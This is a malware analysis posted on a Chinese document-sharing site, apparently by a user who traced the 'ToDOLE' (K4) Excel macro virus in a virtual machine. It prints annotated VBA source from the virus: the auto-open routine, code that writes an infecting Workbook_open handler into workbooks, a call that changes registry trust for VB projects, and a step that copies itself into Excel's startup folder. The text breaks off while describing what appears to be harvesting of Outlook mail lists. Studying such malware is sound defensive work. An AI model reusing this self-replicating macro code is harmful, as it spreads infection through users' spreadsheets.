- 1、本文档共39页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
ToDOLE宏病毒 研究报告
最近据说是新型的K4宏病毒到处肆虐,感染了办公室不少.xls文件,杀又杀不干净。对此互比较感兴趣,花了点时间跟踪了一下代码,并作了简要注释,基本了解该病毒的行为:
以ToDOLE模块中的代码,在 HYPERLINK /os/xuniji/ \t _blank 虚拟机XP+Excel2003下跟踪并注释了关键代码:
病毒行为主过程
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path Application.StartupPath Then
Application.ScreenUpdating = False
删除.xls文件里的ThisWorkBook表单,以便写入带毒宏代码;
Call delete_this_wk
复制带毒宏代码
Call copytoworkbook
如果当前文件已经感染,则保存。
If Sheets(1).Name Macro1 Then Movemacro4 ThisWorkbook
ThisWorkbook.Save
Application.ScreenUpdating = True
End If
End Sub
以下过程向ThisWorkbook写入一段激活带毒代码;
Private Sub copytoworkbook()
Const DQUOTE =
With ThisWorkbook.VBProject.VBComponents(ThisWorkbook).CodeModule
.InsertLines 1, Public WithEvents xx As Application
.InsertLines 2, Private Sub Workbook_open()
.InsertLines 3, Set xx = Application
.InsertLines 4, On Error Resume Next
.InsertLines 5, Application.DisplayAlerts = False
.InsertLines 6, Call do_what
.InsertLines 7, End Sub
.InsertLines 8, Private Sub xx_workbookOpen(ByVal wb As Workbook)
.InsertLines 9, On Error Resume Next
.InsertLines 10, wb.VBProject.References.AddFromGuid _
.InsertLines 11, GUID:= DQUOTE {0002E157-0000-0000-C000-000000000046} DQUOTE , _
.InsertLines 12, Major:=5, Minor:=3
.InsertLines 13, Application.ScreenUpdating = False
.InsertLines 14, Application.DisplayAlerts = False
.InsertLines 15, copystart wb
.InsertLines 16, Application.ScreenUpdating = True
.InsertLines 17, End Sub
End With
End Sub
删除临时工作表过程
Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents(ThisWorkbook)
Set CodeMod = VBComp.CodeModule
With CodeMod
.DeleteLines 1, .CountOfLines
End With
End Sub
病毒的主要行为框架
Function do_what()
If ThisWorkbook.Path Application.StartupPath Then
检测并当前打开xls文件时的状态,并初始化一些准备工作。
RestoreAfterOpen
通过修改注册信任VB项,为下面的感染提供可能性。
Call OpenDoor
把带毒模块写入Excel的自动启动项目,实现感染传播
Call Microsofthobby
病毒的主体行为(大致是收集outlook的用户邮件列表
您可能关注的文档
- SSH开发框架搭建.docx
- Sql Server 2008 镜像部署.docx
- STM32 课设.ppt
- STEM教育的发展、特点和科学教育改革.ppt
- SWOT分析の目标管理.ppt
- ST870操控说明书.doc
- S版二年级上册第13课《星星的新朋友》PPT.ppt
- s版二上13星星的朋友 公开课.ppt
- T01-赤峰20MW固定支架及安装技术规范书.doc
- S版语文五年级下老人与海鸥.ppt
- 基于多技术融合的裂纹发展趋势预估与转轮安全评估体系构建.docx
- 2025年婴幼儿配方食品营养配方与市场增长动力分析报告[001].docx
- 2025年氢能燃料电池汽车产业链核心技术专利布局分析报告.docx
- 汉服直播电商行业营销效果评估模型构建.docx
- 智能共享健身仓设备市场竞争力研究报告.docx
- 氢能叉车市场2025年渗透率预测:新能源叉车市场前景展望与战略建议.docx
- 银发旅游市场细分消费需求分析:2025年中国旅游市场白皮书.docx
- 在线教育平台算法推荐2025年公平性与透明度研究:助力教育信息化发展.docx
- 2025年氢能燃料电池汽车产业链投资机会与风险预判策略研究报告.docx
- 职业教育实训基地数字化建设环境影响评价报告.docx
文档评论(0)